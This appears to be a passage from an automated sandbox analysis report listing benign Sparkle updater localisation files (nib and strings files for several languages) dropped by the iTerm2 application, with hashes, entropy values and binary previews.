.e.l.l.e.r. .e.n. .o.p.t.i.s.k. .e.n.h.e.t... .F.l.y.t.t.a.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/th.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13550
Entropy (8bit):	6.734853541161387
Encrypted:	false
SSDEEP:	192:U1WzBQAFLGYcOeYjqE0lCjeEYNMtKwqJ36liUY/6T9rWpTgv6l:UgzJL0eqE0EeEYNg7qJ36liUYI9KNl
MD5:	9E584F9D0F8E9F915462CDCB046265E2
SHA1:	6F40473AD129BF8AC53AAFD2A0E245A3D1F6964E
SHA-256:	317CD44D994616FDFBD948C0E2A335DA307EBC9560CC2E3535BC9E9BBDE395CC
SHA-512:	EB6395E0328797DFAB19A7E655962E8DC2E62C51CC1AFF5701F9FAACCAB57EFFAF20BDEDA7EE9513B6D80A726A4C21FDEE3AD4CC0A0B0BF8DCD9AC1DD0755470
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/th.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23445
Entropy (8bit):	6.880653981686697
Encrypted:	false
SSDEEP:	384:63gvzFcUJ3E0UeEYNg7W+EftqIPvL7JtnT3LsKNkqTpXCbXH3E623ns:6g7FcUAeEYyUtqIPvL7JxT7jN2kM
MD5:	9AE716F8350756A5BFBBCE37EF2566AE
SHA1:	86C7B9C64CFF50064505E76ACD317FDD6595FF60
SHA-256:	AAC0DDB552D4040A32D8FB37DF1855F0F40663ABA528A6830CB29D525555D063
SHA-512:	ED99AC45AEB4EC8DF8BF2986341F9038483DF40BFE23AC5A892960D6C602BA0266563880D6EC515218B4D5A732B8BC8D688A7D9BD7974ED91D2B8FA6DBC2B3A3
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~.......................................r........................................................... .%.&.)..0.1.7.J.M.N.O.P.W.X.Y._......................................................................... .).-...K.Q.W.\.a.g.l.q.w.\|...............................................................................!.".#.$.*.+.,...5.6.7.?.@.A.G.O.P.Q.W._.`.a.g.n.o.p.w.x.y.........s.......w...6.................\|................................................................................................................................................... .!.".#.$.%.(.+U$null.................................... ...".#.$VNSRoot]NSConnections\

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/th.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20076
Entropy (8bit):	6.825154181717552
Encrypted:	false
SSDEEP:	384:IAgjv8E0DeEYNg74d+0VutleshI8tEk16xlobM78XCMXgx:JgueEYyMVutUshI3k1yloe
MD5:	3459CA87B9F1394A90213242EFDA1E9C
SHA1:	FBA256CD6417832E5A089C9A435D547D8C10CC0D
SHA-256:	025CCDA8A048132D68C09C4E9D207B1376A3C4DA7FE2B454EC7C400A1D6B468F
SHA-512:	6532200E877D28581E1F20AEF0AB04201B2E63FE212CEC6D9D3397800D7D31BA661073395FF556860D95564F479546D992BD826C017994B2AB14D57CBEDF8C7C
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/th.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8476
Entropy (8bit):	4.194521299877113
Encrypted:	false
SSDEEP:	96:M4ZBuI513K3nQUiGRUxosFEM01C/mR9CAe7+zmvvBntZC6WXmvcrpMMkyFY/Hksk:Mk3K3nQUxU6RMug3xntZGXrrJkyPj42j
MD5:	F308844D03AEE19567B10057878CE7F0
SHA1:	C6D91E98BAF43357BF6562A003810DB603855DAF
SHA-256:	7D2EF17237B4174A2AEEC227D7C4A937E71701708AB0F043354FD1F56DCF3AA2
SHA-512:	2E18F1A96567ABC1F0A1FFB31C8D20EE2EEF1C901550D480F016A25C1E85C96BFFC407CC68934F9D039A9F212EF64CF4B633DD218CFD7A3B76F01C304C34B9FD
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .D...I...9.....2.'...L.B.+.%...A.%.0...#.I.-.!.C...I...2...A.%.I.'. ...8.....I.-.....2.#...4.....1.I...A.%.0.@.#.4.H.!. .%.1.$.@. .C.+.!.H.@...5.K.".'...5.I.+.#.7.-.D.!.H.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .D.!.H..2.!.2.#...#.1.....2.#.-.1...@.....D...I.@.!.7.H.-...9...@.#.5.".....2.....4....L.A.....-.H.2...-.".H.2...@...5.".'.+.#.7.-...5...5.#.-.!. .".I.2.". .%.1.$.@. .D...".1...B...%.@...-.#.L.A.-.....%.4.@.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/tr.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13588
Entropy (8bit):	6.696434914207782
Encrypted:	false
SSDEEP:	192:U1WzBQAFYGX4HOeYjqE0lCjeEYNMtKwqJ36lq/6T9rWEVZ9DW:UgzJY7eqE0EeEYNg7qJ36lqI9bLdW
MD5:	10D93DB9398725D99C936026D288B7CC
SHA1:	313326C5AC508AD117DABBA699F8EB4AB87A1C57
SHA-256:	EF18602C075D70640ABE2F954C5A81002F971A91C6188B4B2A30A42CB0FB259F
SHA-512:	9C2F4F9ECCF1533BB4E3A3323834E43184D6D3B22A81485AE2F66B136768256579A42BE8CE7F3D69A76474D2DAE93D6085E5DA1DB63A7BBEC6AFB54BBF6EC0CE
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/tr.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23142
Entropy (8bit):	6.862378213125587
Encrypted:	false
SSDEEP:	384:bRgbiTF3E0UeEYNg7W+ErvWdv2YJtgC85tQHNKw+xGSnRGxXX:1g+TMeEYyovWdv2YJbbN+e
MD5:	6D7F9F4EB5FEC6540B4E0FA9DE945993
SHA1:	0C0B19FDCD0CEC05BC157B321207816AAB4D15BF
SHA-256:	167E71599D1A12A5C9D5C29BD8C3B60BED96BE24B7BC6A0A403AD1FA5EBEA6FA
SHA-512:	E4E7969328B0DC07FA3F8B9EC922459BCA60B4638A2752DBA8BB92326D856D2587BBC49F79525B074EC354ADB1EF6C5744DA306AC918A7F492CEBF686EF25870
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/tr.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20225
Entropy (8bit):	6.760247342864554
Encrypted:	false
SSDEEP:	384:IAgjvrE0DeEYNg74d+0VutleshI8tE1e1hxlobM78X8kcPIk3:JgteEYyMVutUshI31e1floQDgk3
MD5:	F259011CEE6F0AE883D110A6B1940959
SHA1:	321EA14C2D89EA6F2224642C6EE03B5C66A7684A
SHA-256:	A94EFF319517A226460BBD70B80C28628594215C8DA04382486E30E31EA3CD6B
SHA-512:	8595C00CD9CB4A50AC9243F67A1D2FFA59F6DD57010B3EECDEFD47470AE9DAD0E4FC8E8D92A35EBBBC9CD0804B8F67A322D377165B6DA229CABA9977BE853709
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/tr.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode C program text, with very long lines
Category:	dropped
Size (bytes):	9702
Entropy (8bit):	3.5504610626364306
Encrypted:	false
SSDEEP:	192:ajPPjb3Qd3sY3QUAlUsL2hRSkgYFC5OsfhMaFu6zlkYwn91QZ46wJE:abPj6AZ72OJYU5Osf+WHlrw91QZ46wJE
MD5:	0A78299AD40E92C364E0C8CD856EEE76
SHA1:	D5902791C5D289E76565CD0EF285F9E0DC191E40
SHA-256:	CCA1C8C56947C1467FF778E2E9BD242E87F540C06398840613C139BAB36E4D98
SHA-512:	5CE395FF17BC772F388D2E1655480112E27821260C251E3EBC5D2F1BF9559B606221C5BC63E8E32BD4E44AB2086889AAB3B08E72F311B264BB9CAB2014BE654C
Malicious:	false
Reputation:	low
Preview:	../.. .d.e._.D.E. .v.0...1. .-. .N.o. .c.o.m.m.e.n.t. .p.r.o.v.i.d.e.d. .b.y. .e.n.g.i.n.e.e.r... ../.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .i.n.d.i.r.i.l.d.i. .v.e. .k.u.l.l.a.n.1.m.a. .h.a.z.1.r.!. .^.i.m.d.i. .y...k.l.e.m.e.k. .i.s.t.e.r. .m.i.s.i.n.i.z.?. .U.y.g.u.l.a.m.a. .y.e.n.i.d.e.n. .b.a._.l.a.t.1.l.a.c.a.k.t.1.r...".;...../.. .d.e._.D.E. .v.0...1. .-. .N.o. .c.o.m.m.e.n.t. .p.r.o.v.i.d.e.d. .b.y. .e.n.g.i.n.e.e.r... ../.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13644
Entropy (8bit):	6.732470955697858
Encrypted:	false
SSDEEP:	192:U1WzBQAFYG/uOeYjqE0lCjeEYNMtKwqJ36lW/6T9rWhV4yX8dT6:UgzJYneqE0EeEYNg7qJ36lWI96V42
MD5:	F7535CB375BE688247F964A6A89B7228
SHA1:	DA8A7AC51950796A93B3145A98517D57E0596B1E
SHA-256:	6564F26C9C0C3177209C648E7137A522E616A130FAD4AFE9EBAEE14173479EF8
SHA-512:	3F37503A036D308DA8040277F25C1B2F0D5E813CA98FBA2440B55CCBEC86ED2EDB14E1C46C3EE8FE6579C292DA3D153F7191E2A5896511A7508212A43C88FE3C
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23292
Entropy (8bit):	6.8723493995740865
Encrypted:	false
SSDEEP:	384:bRgbieF+E0UeEYNg7W+Eo1zKjv2YJtsy65hQHNKwgICHgXj+f9:1g+eleEYy51zKjv2YJXpNkHom9
MD5:	393BBEC54DA85CC520872B817A564832
SHA1:	6F5FBF687DADA19CBA12279E246E06D9A78D2FF3
SHA-256:	BF080FF4C5810BF774B0A2C03C60EDD0B5D75AA96C567676E363A12044E4ACFC
SHA-512:	7D6644D9D522BA0C5C1EE8C9D4B42D3576A7621A66622F7DEFF8ABD25C46E5AD72F6DCF7326836A262D7390DD19C21A130ABB09E3D982F045FC73268D72D73C4
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20239
Entropy (8bit):	6.80142895435018
Encrypted:	false
SSDEEP:	384:IAgjvNGE0DeEYNg74d+0VutleshI8tEG38xlLbM78XA/ziziHek5:JgJweEYyMVutUshI3G3olL0ezqek5
MD5:	37D559A6AC7C18AC21E5BF0DB8DAD43D
SHA1:	4A90495DBD15B478CDCEB51E938CC8628C45C819
SHA-256:	F6C1E96ABA38B622099C1C772C186EA2C48E00BEC944C66FBB2740A18797A049
SHA-512:	A184E609B8B22D6BF8F9B0DC978143195845D7296FD3CD06AB0E7DFFBFC220BB130E527E53A2CB1ACFA2D0CA4FC33BD19596374CA6E7BE90023C54B7A6BB4DEF
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/uk.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	7844
Entropy (8bit):	4.135113430782068
Encrypted:	false
SSDEEP:	192:Mlff4393jQUCRU6iei2U3khn29WWia42k:UfDlREgcqsWWisk
MD5:	ED09AE9FD6589030600C1C7B2009D028
SHA1:	A59CE9424A6C50437135439D54C88576B8B4CD7D
SHA-256:	3FD1F726B93E672AB6B5E9CA05D042F9BF6170B8389E52046D195750037502A0
SHA-512:	12F728E1D2ED5C373A5C8A60DF6427B207BEE8F4A0CAF79AE4DAE7F95A3EB13998C9368CB92871ECB47DD903527FD7BDF7DD5D21EEF9285085E7C0B8432FF55B
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .7.0.2.0.=.B.0.6.5.=.8.9. .V. .3.>.B.>.2.8.9. .4.>. .2.8.:.>.@.8.A.B.0.=.=.O.!. ...0.6.0.T.B.5. .2.A.B.0.=.>.2.8.B.8. .V. .?.5.@.5.7.0.2.0.=.B.0.6.8.B.8. .%.1.$.@.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. ."...V.4. .G.0.A. .@.>.1.>.B.8. .7. .%.1.$.@. .7. .B.>.<.C.,. .I.>. .?.@.8.7.=.0.G.5.=.8.9. .;.8.H.5. .4.;.O. .G.8.B.0.=.=.O.,. .=.0.?.@.8.:.;.0.4.,. .>.1.@.0.7.C. .4.8.A.:.0. .G.8. .>.?.B.8.G.=.>.3.>. .4.8.A.:.C.,. .9.>.3.>. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13422
Entropy (8bit):	6.729157699480337
Encrypted:	false
SSDEEP:	192:U1WzBQAFfG3IzOeYjqE0lCjeEYNMtKwqJ36lh/6T9rWe6UEgjC4k:UgzJf5zeqE0EeEYNg7qJ36lhI9fE
MD5:	58730815B0735026F622513101F66CF2
SHA1:	23B6C0D69D0FF650DE89AC451D555FEF3611A7F8
SHA-256:	D976A839B195A05EB858ACFAEDCC0268C9E9C654FF03BB7F7D01AA8CADED2361
SHA-512:	510F1CFC738BC558AC16D429443A6A9C48EAD58EEC2CBFF4E4AFC5DE715E6AB7C4078262E1A1D86A25536AF62BCC6A26467B8040FC42A3101B82CFBD1E0E81C9
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	22976
Entropy (8bit):	6.892384700075818
Encrypted:	false
SSDEEP:	384:bObgbiTu3E0UeEYNg7W+EPdQpGPVJtFw5FUOcDszf3y38My13jjbT:Cg+TneEYyGd0GPVJU826sMkzD
MD5:	B3CB643EE5B121E8EE4A423E61AB4635
SHA1:	30DF201067A3442CFAD99A12A99F70A9ABB39FED
SHA-256:	44072712A15EFA310DC999974CFBFF4096DF437E92260E4E294F7570675B25E4
SHA-512:	1AA6D924E8544F0231F74795065700D6BC99E71938810E260378563CD205894F697A591EEBE37E1D67C9BD022D509E20D4D1FFAE9CF919902F9EC4F7F4793374
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................6.:.E.I.a.t.u.v.w.x.y.z.{.\|.}.~.............................................................................................!.4.7.8.9.:.A.B.C.I.p.q.r.s.t.u.v...................................................................5.;.A.F.K.Q.V.[.a.f.k.p.u.{......................................................................................... .!.)..+.1.9.:.;.A.I.J.K.Q.X.Y.Z.a.b.c.........].......w...6.................f..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/zh_CN.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	19800
Entropy (8bit):	6.836224488311983
Encrypted:	false
SSDEEP:	384:IAgjvkE0DeEYNg74d+0VutleshI8tEMKkxlobM78XsWTYY5xK:JgWeEYyMVutUshI3FgloRk8xK
MD5:	606B20C46102B4981675CCE1567954A3
SHA1:	4534035600533B89B604FE68AC41DF9948496E72
SHA-256:	0C90B71490D965CC68FF343D5B5C7D90A52A97166C891D118BAB54D7682B08DF
SHA-512:	E56373B99426A853715D22857E5EB5F54BD4E6EA9534F7EF14841169FC8B7D1EF67BBED919EBEDEAAC46689493BA8EBE669BB16EBDB4F1A2F9534CF0BB648BA1
Malicious:	false
Reputation:	low
